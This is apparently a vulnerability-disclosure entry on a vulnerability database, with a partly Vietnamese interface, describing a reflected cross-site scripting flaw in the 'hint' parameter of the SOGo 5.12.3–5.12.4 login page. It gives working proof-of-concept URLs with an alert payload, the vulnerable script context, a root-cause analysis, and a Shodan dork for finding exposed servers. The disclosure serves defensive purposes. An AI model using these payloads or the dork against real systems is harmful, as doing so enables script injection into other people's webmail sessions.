Gửi #757609: Inverse / SOGo Community SOGo Groupware 5.12.3 - 5.12.4 Cross Site Scripting

Summary

A reflected Cross-Site Scripting (XSS) vulnerability exists in SOGo version 5.12.4 within the web login interface. The application fails to properly sanitize and encode user-controlled input passed through the hint URL parameter before embedding it into a JavaScript context.

This flaw allows remote attackers to inject and execute arbitrary JavaScript code in the context of the victim’s browser by convincing users to visit a specially crafted URL.

Vulnerable Endpoint
/SOGo?hint=

Example:

https://target-domain/SOGo?hint=<payload>

Dork:

https://www.shodan.io/search?query=title%3A%22SOGo%22

Proof of Concept (PoC)

Payloads (Examples)

https://example.com/SOGo?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27//SOGo/

Decoded payload:

'-alert(document.domain)-'/

Reflected Output

The payload is reflected in the following JavaScript context:

<script type="text/javascript">
var cookieUsername = "";
var language = 'BrazilianPortuguese';
var loginHint = ''-alert(document.domain)-'/'
</script>

This breaks out of the string and triggers JavaScript execution.

Root Cause Analysis

The vulnerability occurs because the hint parameter is embedded directly into a JavaScript variable without proper escaping:

var loginHint = '<user_input>';

No context-aware output encoding is applied. As a result, attackers can inject special characters (', ", /) to terminate the string and execute arbitrary code.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the affected domain.

• Nguồn: ⚠️ https://www.sogo.nu/
• Người dùng: erickfernandox (UID 57733)
• Đệ trình: 13/02/2026 05:23 (cách đây 5 các tháng)
• Kiểm duyệt: 23/02/2026 18:55 (11 days later)
• Trạng thái: được chấp nhận
• Mục VulDB: 347412 [Alinto SOGo 5.12.3/5.12.4 hint Tập lệnh chéo trang]
• điểm: 17